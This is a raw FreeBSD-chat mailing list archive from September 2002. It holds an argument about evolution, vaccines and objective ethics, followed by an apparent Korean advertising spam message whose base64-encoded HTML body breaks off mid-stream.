> > > Lots of decent biology is done with it, some of which might be even used > > > to lengthen your ingrate life. ;-) > > > > Please name one thing that the theory of evolution has contributed to > > the prolonging of human life. > > An understanding of the characteristics of mutation in virii, and the > ability to create new vaccines for the new breeds that develop exactly > as evolutionary theories predict. > > There you go... An understanding of the characteristics of mutation in virrii, and the development of new vaccines are not at all dependent on the theory of evolution. Mutations != evolution. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 18:39:25 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6810137B400 for ; Fri, 6 Sep 2002 18:39:23 -0700 (PDT) Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7A3A443E3B for ; Fri, 6 Sep 2002 18:39:22 -0700 (PDT) (envelope-from keramida@ceid.upatras.gr) Received: from hades.hell.gr (patr530-b137.otenet.gr [212.205.244.145]) by mailsrv.otenet.gr (8.12.4/8.12.4) with ESMTP id g871dJ7f023433; Sat, 7 Sep 2002 04:39:19 +0300 (EEST) Received: from hades.hell.gr (hades [127.0.0.1]) by hades.hell.gr (8.12.6/8.12.6) with ESMTP id g871dIcf017330; Sat, 7 Sep 2002 04:39:18 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Received: (from charon@localhost) by hades.hell.gr (8.12.6/8.12.6/Submit) id g871dIvC017329; Sat, 7 Sep 2002 04:39:18 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Date: Sat, 7 Sep 2002 04:39:18 +0300 From: Giorgos Keramidas To: "Neal E. Westfall" Cc: chat@FreeBSD.org Subject: Re: Why did evolution fail? Message-ID: <20020907013917.GC16913@hades.hell.gr> References: <20020907002242.GC15779@hades.hell.gr> <20020906181354.C44831-100000@Tolstoy.home.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020906181354.C44831-100000@Tolstoy.home.lan> X-PGP-Fingerprint: C1EB 0653 DB8B A557 3829 00F9 D60F 941A 3186 03B6 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org In message: <20020906181354.C44831-100000@Tolstoy.home.lan> "Neal E. Westfall" wrote: > > Correction. Logic and ethics are meaningless without objective > standards, and objective standards are impossible without appealing > to something, well, *objective*. "Objective" means that it comes to > you from the outside, externally, i.e. "not subjective". So > immediately the opinions of men are eliminated. What is left? The team. The sum of a dozen people, is more than a dozen people. A team can define what is objective, without a need for anything supernatural. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 18:40:56 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 785D537B400 for ; Fri, 6 Sep 2002 18:40:54 -0700 (PDT) Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id 892A343E65 for ; Fri, 6 Sep 2002 18:40:53 -0700 (PDT) (envelope-from keramida@ceid.upatras.gr) Received: from hades.hell.gr (patr530-b137.otenet.gr [212.205.244.145]) by mailsrv.otenet.gr (8.12.4/8.12.4) with ESMTP id g871eo7f024054; Sat, 7 Sep 2002 04:40:51 +0300 (EEST) Received: from hades.hell.gr (hades [127.0.0.1]) by hades.hell.gr (8.12.6/8.12.6) with ESMTP id g871eocf017354; Sat, 7 Sep 2002 04:40:50 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Received: (from charon@localhost) by hades.hell.gr (8.12.6/8.12.6/Submit) id g871enER017353; Sat, 7 Sep 2002 04:40:49 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Date: Sat, 7 Sep 2002 04:40:49 +0300 From: Giorgos Keramidas To: "Neal E. Westfall" Cc: chat@FreeBSD.org Subject: Re: Why did evolution fail? Message-ID: <20020907014049.GD16913@hades.hell.gr> References: <20020907002904.GD15779@hades.hell.gr> <20020906183100.N44831-100000@Tolstoy.home.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020906183100.N44831-100000@Tolstoy.home.lan> X-PGP-Fingerprint: C1EB 0653 DB8B A557 3829 00F9 D60F 941A 3186 03B6 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org In message: <20020906183100.N44831-100000@Tolstoy.home.lan> "Neal E. Westfall" wrote: > On Sat, 7 Sep 2002, Giorgos Keramidas wrote: > > On 2002-09-06 12:43 +0000, Neal E. Westfall wrote: > > > Please name one thing that the theory of evolution has contributed to > > > the prolonging of human life. > > > > An understanding of the characteristics of mutation in virii, and the > > ability to create new vaccines for the new breeds that develop exactly > > as evolutionary theories predict. > > > > There you go... > > An understanding of the characteristics of mutation in virrii, and > the development of new vaccines are not at all dependent on the > theory of evolution. Mutations != evolution. On the very contrary. Evolution can only go forth through mutation. Please do read Darwin's ``Origin of the Species'' again. - Giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 21:41:46 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4517C37B422 for ; Fri, 6 Sep 2002 21:41:27 -0700 (PDT) Received: from relay4.kornet.net (relay4.kornet.net [211.48.62.164]) by mx1.FreeBSD.org (Postfix) with ESMTP id F05D843E42 for ; Fri, 6 Sep 2002 21:41:26 -0700 (PDT) (envelope-from abc@kornet.net) Received: from qslb.net (211.227.109.16) by relay4.kornet.net; 7 Sep 2002 13:41:21 +0900 Message-ID: <3d7983723d89769a@relay4.kornet.net> (added by relay4.kornet.net) Date: Fri, 6 Sep 2002 21:41:26 -0700 (PDT) From: abc@kornet.net To: undisclosed-recipients: ; Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org 9y PSIjRkZGRkZGIiB0ZXh0PSIjMDAwMDAwIj4NCjx0YWJsZSB3aWR0aD0iNjA0IiBib3JkZXI9 IjAiIGNlbGxzcGFjaW5nPSIxIiBjZWxscGFkZGluZz0iMCIgYWxpZ249ImNlbnRlciIgYmdj b2xvcj0iIzU2NjQ5MiI+DQogIDx0cj4NCiAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgaGVp Z2h0PSIxNjQxIiB2YWxpZ249InRvcCI+IA0KICAgICAgPHRhYmxlIHdpZHRoPSI2MDQiIGJv cmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBhbGlnbj0iY2VudGVy Ij4NCiAgICAgICAgPHRyPiANCiAgICAgICAgICA8dGQ+PGltZyBzcmM9Imh0dHA6Ly90YWhl ZWJvLmNvLmtyL21haWx6aW5lL2ltZy9tYWlsMDNfMDEuZ2lmIiB3aWR0aD0iNjA2IiBoZWln aHQ9IjE2OCIgdXNlbWFwPSIjTWFwIiBib3JkZXI9IjAiPjwvdGQ+DQogICAgICAgIDwvdHI+ DQogICAgICAgIDx0cj4gDQogICAgICAgICAgPHRkIGhlaWdodD0iNzEwIiBiZ2NvbG9yPSIj RURFQ0ZGIj4gDQogICAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIg Y2VsbHNwYWNpbmc9IjUiIGNlbGxwYWRkaW5nPSIzIiBhbGlnbj0iY2VudGVyIiBiZ2NvbG9y PSIjRTFERkZGIj4NCiAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICA8dGQg aGVpZ2h0PSI1MTciIGJnY29sb3I9IiNFREVDRkYiPjxiPjxmb250IGNvbG9yPSIjRURFQ0ZG Ij5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGNjYwMCI+IA0KICAgICAgICAgICAgICAgICAg OjogwNq/rMShwK+3wsC7IMiwv+vH0SDD1r3FIMSht+G5/b+hILD8x8+/qS4uLiA8L2ZvbnQ+ PC9iPjxicj4NCiAgICAgICAgICAgICAgICAgIDxiPjxicj4NCiAgICAgICAgICAgICAgICAg IC0gucyxub+hvK0gx9e+z8Gmt84gwM7BpMC7ILnesO0gwNa0wiBORkQ8L2I+IDxicj4NCiAg ICAgICAgICAgICAgICAgIE5GRChOYXBodGhvIEZ1cmFuIERpb24ptMIgvs8gxKG34SC55rjp v6G8rSDH9sDnILChwOUgwda48cC7ILnesO0gwNa0wiC8urrQwLi3zrytILv1t86/7iANCiAg ICAgICAgICAgICAgICAgIKG4vs8gxKG34aG5wMcgsLO4t7D6IMfUsrIgsPrH0MDatenAxyC0 68D9wvnAuyC53rDtIMDWtNkuPGJyPg0KICAgICAgICAgICAgICAgICAgTkZEtMIgtbW068O8 IL7utrIgubDB+sDPsKEuIE5GRLTCILOyucwgvsa4tsG4v6G8rbi4IMDau/3Hz7TCILPrv+zB piCwocHutvOw+ijOoSkgvcS5sCChuLTZuqO6377GIL7GuqO287PXtNm/oaG5wMcgDQogICAg ICAgICAgICAgICAgICC89sfHv6Egx9TAr7XHvu4gwNa0wiC8urrQwMy02S4gsdcgv6q757TC IMCvsbjHz7jnILDttOsgwNfEq8GmsbnAxyDAzrXwv8C16cDMIKG4vcXAxyDAusPRwLsgud7A uiCzqrmrobm3ziANCiAgICAgICAgICAgICAgICAgILzSwd/Hz7DUILCjwdbHz7+pIMHxsNwg uLa8zLTZsO0gx9G02S4gwM618L/AtenAuiChuLTZuqO6377GIL7GuqO287PXtNm/oaG5vPbH x8DHIMi/tMnAuyC5zrCjv+S5/b+hIMiwv+vHz7+0tNkuIA0KICAgICAgICAgICAgICAgICAg wNfEq8Gmsbm9w7Hiv6G0wiDB+rq0wMwgvvi++rTZtMIgsM21tSC/qrvnwPvAuLfOIMCvuO3H z7TZLiDAr8i/ILy6utDAziBORkSwoSDAzL+hIMHfv+TH0SDA27/rwLsgwM/AuMTXtNmw7SAN CiAgICAgICAgICAgICAgICAgILi7x9IgvPYgwNa02S48YnI+DQogICAgICAgICAgICAgICAg ICDH9sDnIMDMIE5GRLimIMfUwK/H0SChuLTZuqO6377GIL7GuqO287PXtNm/oaG5v6EgtOvH z7+pIL+tvcnI9yC/rLG4x8+w7SDA1rTCILD6x9DA2r/NIL+ssbjA2rChIMGhwaEguLm+xsH2 sO0gDQogICAgICAgICAgICAgICAgICDA1rTCIMPfvLzAzLTZLiCx1yDB38DHIMfRILvntvfA ziC788bEv++3ziC068fQILPzx9C6ziC47b+5ILGzvPbAzLDtIL3EubDH0MDawM4gvsbE2r3D ILnau+e0wiC9xLmwv+S5/cDHIA0KICAgICAgICAgICAgICAgICAgwaYxwM7A2sDMtNkuIL7G xNq9wyC52rvntMIgvs8gyK/A2rChILDHsK3AuyDIuLq5x9Egu+e9x7fOus7FzSDI+cauuKYg vvK++rTZsO0gx9G02S4gvsa0wiC757b3wMwgwd/H0SC+z7+hIA0KICAgICAgICAgICAgICAg ICAgsMm3wSAxsLO/+bnbv6Egu+wgvPYgvvi02bTCILyxsO24piC53r7Svvq02S4gsde3sbWl IKG4tNm6o7rfvsYgvsa6o7bzs9e02b+hobnAxyC89sfHuKYgsvq/qSC4tr3FIMjEIMXrwfXA zCANCiAgICAgICAgICAgICAgICAgILvntvPB9rDtIL7gIDPB1iDIxL+htMIgvs+8vMb3sKEg u+e288GztNkuILi7seIgvs/AuLfOvK0gvK2+58DHx9DAuLfOtMIgxKG34bChILrSsKG0ycfR ILvntvfAzCC+z8C7ILHYurnH0SANCiAgICAgICAgICAgICAgICAgILDNwMy02S48YnI+DQog ICAgICAgICAgICAgICAgICDAzCDAz8C7ILDoseK3ziC+xsTavcMgudq757TCIL+ssbi4piC6 u7DdwPvAuLfOIL3DwNvHz7+0tNkuIL+ssbi4piDB+Mfgx8+46bytIKG4tNm6o7rfvsYgvsa6 o7bzs9e02b+hobm0wiDGr8GkIA0KICAgICAgICAgICAgICAgICAgwfa/qr+hvK0gu/3AsMfP tMIgubDB+r+hIMfYtOcgwK/Iv7y6utDAzCDH1MCvtce+7iDA1rTZtMIgu+e9x8C7ILnfsN/H z7+0sO0gvs/AuyDG98fUx8+/qSC057SiurQsILCjwOUsIL3FwOXAxyANCiAgICAgICAgICAg ICAgICAgILi4vLrB+sivv6G1tSDIv7D6sKEgwNa02bTCILDNwLsgud+w38fPv7S02S48YnI+ DQogICAgICAgICAgICAgICAgICCx17iusO0gMTk5N7PiIDm/+SAywM+/obTCILnMsbm/obyt IKG4x9e+z8GmKL7HvLrBvr7nwLsgw7PEocfPtMIguea5/Skgvs/AxyC/ubnmsPogxKG34aG5 KMGmNTY2Mzk3yKMptvO0wiANCiAgICAgICAgICAgICAgICAgILjtwMe3ziBORkQgwMe+4CDB psGmIMavx+O4piDD67Xmx8+/tLTZLiDGr8fjuO3EqsC6IKG4Mi0oMS3I97Xlt87FsL3Dv6HG vyktNS3I97Xlt87FsL3Ds6rHwcauWzIsIA0KICAgICAgICAgICAgICAgICAgMy1iXcfBtvUt NCwgOS3B9r/CILnXILHXsM3AuyDH1MCvx9Egx9e+z8GmobnAzLTZLijHpTEgwvzBtikgDQog ICAgICAgICAgICAgICAgICA8cD5ORkTAxyDIv7TJwMwgsPrH0MD7wLi3ziC60Lyutce+7iC1 3rnexKcgx9IgvPYgwNa++rTZLiC5zLG5IMavx+O0wiDAz7q7LCDAr7e0sPogx9SysiChuDOx 2CjQvymhucC4t84gDQogICAgICAgICAgICAgICAgICAgILrSuK4gv+y0wiC8vLDov6G8rbW1 ILChwOUgscfAp7ChIMDWtMIgwd+/5MfRIMavx+PAzLTZLiCx17iusO0gvcXDuyDIxCDBorz2 tbUgwM+6u8DMu/PAuLfOIL7ut8aw7SDD67XmsKG4wcDMIA0KICAgICAgICAgICAgICAgICAg ICDI8bzSx8+02SCw7SDH0bTZLiDGr8j3IMDHvuC/oSCw/MfRIMavx+O0wiDD67XmwMwguMW/ 7CC+7rfGtNmw7SDH0bTZLjxicj4NCiAgICAgICAgICAgICAgICAgICAgsde3r8fRIL7ut8G/ 7iDGr8fjuKYgw+u15sfRIE5GRLTCIMfXvs/BprfOvK0gvLyw6MD7wM4gwM7BpMC7ILnesO0g wNa02S4gPGJyPg0KICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAg ICAgIDxiPiZsdDvHpTEmZ3Q7PC9iPjxicj4NCiAgICAgICAgICAgICAgICAgICAgW7nfuO0g uO3Eql0yLSgxLcj3teW3zsWwvcO/oca/KS01Lcj3teW3zsWwvcOzqsfBxq5bMiwgMy1iXcfB tvUtNCwgOS3B9r/CILnXILHXsM3AuyDH1MCvx9EgDQogICAgICAgICAgICAgICAgICAgIMfX vs/Bpjxicj4NCiAgICAgICAgICAgICAgICAgICAgW7jxwPtdvcWx1CDH177PILmwwfrAuyDB prD4x9G02Txicj4NCiAgICAgICAgICAgICAgICAgICAgW7G4vLpdwMzHz8DHILrQwNq9xL+h vK0gx6W9w8fRILDNIMOzt7MgMi0oMS3I97Xlt87FsL3Dv6HGvyktNS3I97Xlt87FsL3Ds6rH wcauWzIsIDMtYl3Hwbb1LTQsIA0KICAgICAgICAgICAgICAgICAgICA5LcH2v8LA0y4gxbjI 97q4wMcgsMfBtiC89sfHv6G8rcDHIMPfw+IsILrQuK64piCx4sPKt84gx9Egtb8gyK3H1bmw wMcgwabBtrnmuf0gudcgx9i05yDIrcfVubDAuyDHyrz2IA0KICAgICAgICAgICAgICAgICAg ICC8urrQwLi3ziDHz7TCIMfXvs/BpiANCiAgICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0 aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPg0K ICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBh bGlnbj0iY2VudGVyIj48aW1nIHdpZHRoPSIzMDAiIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8v dGFoZWViby5jby5rci9kYXRhMDEvaW1nL25mZC5naWYiIGhlaWdodD0iMTg4Ij48L3RkPg0K ICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0K ICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBoZWlnaHQ9IjUiPiZu YnNwOzwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAg ICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGEg aHJlZj0iaHR0cDovL2RvY3Rvci5vci5rci8iIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0i aHR0cDovL3RhaGVlYm8uY28ua3IvbWFpbHppbmUvaW1nL2hvbWUuanBnIiB3aWR0aD0iMTIw IiBoZWlnaHQ9IjI2IiBib3JkZXI9IjAiPjwvYT48L3RkPg0KICAgICAgICAgICAgICAgICAg ICA8L3RyPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgICAgICAgICA8 L3RkPg0KICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgPC90YWJsZT4NCiAgICAg ICAgICA8L3RkPg0KICAgICAgICA8L3RyPg0KICAgICAgICA8dHI+IA0KICAgICAgICAgIDx0 ZD48YnI+DQogICAgICAgICAgICA8aW1nIHNyYz0iaHR0cDovL3RhaGVlYm8uY28ua3IvbWFp bHppbmUvaW1nL21haWwwM18wMi5naWYiIHdpZHRoPSIzMzUiIGhlaWdodD0iMzciPjwvdGQ+ DQogICAgICAgIDwvdHI+DQogICAgICAgIDx0cj4gDQogICAgICAgICAgPHRkIGhlaWdodD0i NTQ3IiBiZ2NvbG9yPSIjRThGN0ZGIj4gDQogICAgICAgICAgICA8dGFibGUgd2lkdGg9IjEw MCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjUiIGNlbGxwYWRkaW5nPSIzIiBhbGlnbj0i Y2VudGVyIiBiZ2NvbG9yPSIjQkZEQ0ZGIj4NCiAgICAgICAgICAgICAgPHRyPiANCiAgICAg ICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0U4RjdGRiIgaGVpZ2h0PSI1NDciPiA8Yj48Zm9u dCBjb2xvcj0iI0U4RjdGRiI+X19fIA0KICAgICAgICAgICAgICAgICAgPC9mb250Pjxmb250 IGNvbG9yPSIjRkY2NjAwIj46OiDFuMj3uri0wiCzqsDHILv9yLAgx8q89sewIC0g0974od2k IMuj3ezauNG6KDUzvLwpPC9mb250PjwvYj48YnI+DQogICAgICAgICAgICAgICAgICA8YnI+ DQogICAgICAgICAgICAgICAgICA8aW1nIHdpZHRoPSIyMDAiIGJvcmRlcj0iMCIgc3JjPSJo dHRwOi8vdGFoZWViby5jby5rci9ub3RlL3Bob3RvL3Blb3BsZV8xMC5naWYiIGhlaWdodD0i MTUwIiBhbGlnbj0ibGVmdCI+Jmx0OzE5OTSz4iANCiAgICAgICAgICAgICAgICAgIDS/+cDH IMDPwMy/tL7uv+QuILTrwOUo097t8ymw+iDB98DlKPLB7fMpv6G8rSDG+riux8GwoSC537Df tce+7iC89rz6wLsgx8+/tL7uv+QuILHXyMS/obTCIMGkseLA+8C4t84gxvq4rsfBIA0KICAg ICAgICAgICAgICAgICAgwPvD4iju1/XzKSDDs8ShuKYgsOi808fPv6kgud2z4iDBpLW1IMH2 s7W+7r/kLiZndDsgsO3AzCjLo93sKSC+vrTCIMb6uK7HwbChIL2xsNQgu/2x4rTCIMO8wfrA ziCwzSANCiAgICAgICAgICAgICAgICAgILCwvtK02S4gvPa8+sC6IMDfIMH4x+C1x776wfa4 uCC2p7ant84gx/e6r8C7ILq4seK1tSDHz7DtILDJx83Hz7jpILqvuvHB9bvzwMwgs6rFuLOq sO0gx8+/qSDEwbXwvMfAzCDBu8Ozt7MgDQogICAgICAgICAgICAgICAgICC+yMGktcfB9iC+ yr7StNkuPGJyPg0KICAgICAgICAgICAgICAgICAgwMy3sSC788XCt860wiC+8MGosKEgtscg xvq4rsfBsKEgu/2x5sH2tbUguPC4pbTZtMIgutK+yLzTv6EgJnF1b3Q7xbjI97q4JnF1b3Q7 uKYgvsuw1CC1x776sO0gMTk5OLPiw8q6zsXNIA0KICAgICAgICAgICAgICAgICAguLa9w7Hi IL3DwNvHz7+0tNkuPGJyPg0KICAgICAgICAgICAgICAgICAgx8+357+hIMa8uekgx9G6wMH2 v6EgOTAwbWzAxyC5sLfOILL6v6ksIDS5+L+hILOqtKm+7iDAvb/rx8+/tLTZsO0gx9G02S4g w7PAvb+htMIgxMG18LzHv6Eguq/IrbimILq4wMyx4iANCiAgICAgICAgICAgICAgICAgIL3D wNvHz7+0tNkuIMDMwPy6zsXNIMDWtPggvsbF5MfHIMH1u/O/oSC1zsXrwLi3ziDAzsfRILz2 uOkgus7BtywgvcS/5SCwqMXwLCC9sbDUIMfHt86wqMC7ILTAs6K0wiC17iDB9bvztqe5rr+h IA0KICAgICAgICAgICAgICAgICAguPe9wyC9w7Tet8i02bDtIMfRtNkuICZsdDux17extaUg uLa9w7HiIL3DwNvHz7+pIDaws7/5wMwgtckguau3xr+htMIguq/AzCDA3yDF68fPsNQgtce+ +rDtIMf3uq/B9bvztbUgDQogICAgICAgICAgICAgICAgICC757bzwbO+7r/kLiDAzLDNwLog xbjI97q4sKEgyL+w+rimILq4seIgvcPA28fRILDNwMy287DtIMH3sKjHz7+0vu6/5C4mZ3Q7 PGJyPg0KICAgICAgICAgICAgICAgICAgxbjI97q4uKYgsvrAzyC2pywgxbjI97q4wMcgt67A uiCx17Trt84gwK/B9sfPsO0gsvrAzLTCIL3DsKPAuyA0MLrQILCht64gv6zA5cfPuOkgwfjH 0SDFuMj3urjC97ChILi4tem+7iANCiAgICAgICAgICAgICAgICAgIMH4tNkuIL7GxeTHxyDB 9bvzwMwgvcnH0iCw5r/sv6G0wiDAzLe4sNQguLi15yDB+MfRIMW4yPe6uML3uKYguLa8zLTZ LiC/9rOrILj2wMwgx+O+4MfPsO0gsOjA/bD6ILD8sOi++MDMIA0KICAgICAgICAgICAgICAg ICAgsKix4r+hIL2xsNQgsMm4rrT4ILDtwMwoy6Pd7Ckgvr6/tMH2uLggsdcgtqe0wiC/z8D8 yPcgsKix4r/NILjWvu7B9rDUILXHvvq02bDtIMfRtNkuPGJyPg0KICAgICAgICAgICAgICAg ICAgMbPiILCht64gwfaztcC7ILanIL7GxeTHxyDB9bvztbUgs6q+xsH2sO0gx/e+0LW1IMGk u/PAuLfOIL7IwaS1x776wLi45yDEwbXwvMfAzCDBwb7Gwfax4iC9w8Dbx8+/tLTZLiCx18jE IA0KICAgICAgICAgICAgICAgICAgud2z4sLrILDovNPHz7+pILvnv+vH0SCw4bD6IL3Ev+W1 tSC/1by6x8+w1CC1x776sO0gw7zB37W1ILDHsK3H0iC2p7/NILCwwLogNTNLZ7+hILTex9+0 2S4gsO3AzCjLo93sKb6+tMIgDQogICAgICAgICAgICAgICAgICC9xcDlwMwgMTYyQ223zryt ILW/s+K56CC757b3tekgsKG/7rWlvK21tSDFsLChIMWrIMbtwMyx4r+hIMO8wd/AzCA1MGtn uKYgw8qw+sfPtMIgsM3AzCDA+7Tnx8+02S4gDQogICAgICAgICAgICAgICAgICAmbHQ7uPa/ oSDI+8DMILPRw8Qgs6qw7SDH97v2wMwgwcG+xiDBs77uv+QuILXOxeu1tSC++L7uwfaw7SC5 47+htbUgx6sgwN8gvPYgwNax4r+hIMfPt+fHz7fnsKEgu/PE6MfPwdIuJmd0Ozxicj4NCiAg ICAgICAgICAgICAgICAgILi2wfa4t7+hIMuj3ey+vrTCIMW4yPe6uML3wMcgwvcgwu6yqLHi uKYgwOfAzL/rx8+0wiC55rn9wLsgsKG4o8PEIMHWvvq02S4gJmx0OyC9ycfRIMfHt863ziDA 1bj2wMwgus6++sC7IA0KICAgICAgICAgICAgICAgICAgtqcsIMW4yPe6uCDC9yDC7rKoseK3 ziC+xsSnLCDA+rPhwLi3ziAyyLggwMy7ocC7ILTbwLi46cC6ILrOwLogwfW788DMILvntvPB rr/kLiCx17iusO0gyK2788C7IMDUvvrAuyANCiAgICAgICAgICAgICAgICAgILDmv+wsIMW4 yPe6uCDC9yDC7rKoseK4piC62b+pILStt68gwda46SC5sMH9wMwgu/2x4sH2IL7KsO0gu/PD s7ChIL7Gua4gyMS/obW1ILvzw7PA2rG5wMwgs7LB9iC+yr7Gv+QuIA0KICAgICAgICAgICAg ICAgICAgwbax3SC1+7L7tfuy+8fRIMGktbW/obytIL/PwPzI9yCzqr7GwfbB0i4mZ3Q7PGJy Pg0KICAgICAgICAgICAgICAgICAgsde4rrDtILi2wK8o2Knq+im/oSDFuMj3urggwvcgwu6y qLHiuKYgs+y/qSCz1r7uIMWpuLLAuyC4uLXpvu4gvsbF5MfHwMcgsKG3wb/ywLsguNyw1CDH z7TCtaUgu+e/68fPuOkgyL+w+rChIA0KICAgICAgICAgICAgICAgICAgwcHAuLjnILKoxKWy qMSlx9Egx8e6zrimILndtem53bXpx8+w1CDH2MHWsO0gtsfH0SCxuLCts7sgv7DB9bW1IMSh t+HH0iC89iDA1rTZsO0gx9G02S4gtNnI97q4tMIgu/3IsMDHIMDPus660MC4t84gDQogICAg ICAgICAgICAgICAgICC757/rtce0wiDIx7iix9EgvuDHsMDMtvOw7SCw7cDMKMuj3ewpIL6+ tMIgwNq9xcDHILDmx+jAuyDAzL7fseLH37TZLjxicj4NCiAgICAgICAgICAgICAgICAgICZs dDux18jEIMb6uK7HwbTCIMD8x/Qgu/2x4sH2IL7KvtK+7r/kLiC5sLfQIMW4yPe6uLTCIMHZ sPAgvta/68fPsO0gwNbB0i4gs6q/obDUIMDWvu68rSAmcXVvdDu7/ciwx8q89sewJnF1b3Q7 wMy0z7Hxv+QuIA0KICAgICAgICAgICAgICAgICAgwfax3cC6IMD6wMcgtf6/obDUtbUgsMew rSDAr8H2uKYgwKfHz7+pILi2vcO1tbfPIMfPsO0gwNa+7r/kLiZndDsgPGJyPg0KICAgICAg ICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9y ZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPg0KICAgICAgICAgICAg ICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVy IiBoZWlnaHQ9IjIiPiZuYnNwOzwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQog ICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIGFs aWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly9kb2N0b3Iub3Iua3IvIiB0YXJnZXQ9Il9i bGFuayI+PGltZyBzcmM9Imh0dHA6Ly90YWhlZWJvLmNvLmtyL21haWx6aW5lL2ltZy9ob21l LmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIyNiIgYm9yZGVyPSIwIj48L2E+PC90ZD4NCiAg ICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAg ICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj4mbmJzcDs8L3RkPg0KICAg ICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCiAg ICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAg PC90YWJsZT4NCiAgICAgICAgICA8L3RkPg0KICAgICAgICA8L3RyPg0KICAgICAgICA8dHI+ IA0KICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+IA0KICAgICAgICAgICAgPHRhYmxlIHdp ZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI1IiBjZWxscGFkZGluZz0iMyIg Ymdjb2xvcj0iI0NDQ0NDQyI+DQogICAgICAgICAgICAgIDx0ciBiZ2NvbG9yPSIjRUZGMERE Ij4gDQogICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGNUY1RjUiIGhlaWdodD0iMTA3 IiBhbGlnbj0iY2VudGVyIj4NCiAgICAgICAgICAgICAgICAgIDxkaXYgYWxpZ249ImNlbnRl ciI+PGZvbnQgc2l6ZT0iMiIgZmFjZT0itbi/8iI+PGZvbnQgY29sb3I9IiNFRkYwREQiPl88 L2ZvbnQ+PGEgaHJlZj0ibWFpbHRvOm5vbWFpbEB0YWhlZWJvLmNvLmtyP3N1YmplY3Q9vPa9 xbDFus4mYm9keT276MGmv+S4wSI+PGltZyBzcmM9Imh0dHA6Ly90YWhlZWJvLmNvLmtyL21h aWx6aW5lL2ltZy9ub21haWwuanBnIiB3aWR0aD0iMTIwIiBoZWlnaHQ9IjI2IiBib3JkZXI9 IjAiPjwvYT48L2ZvbnQ+IA0KICAgICAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIyIiBm 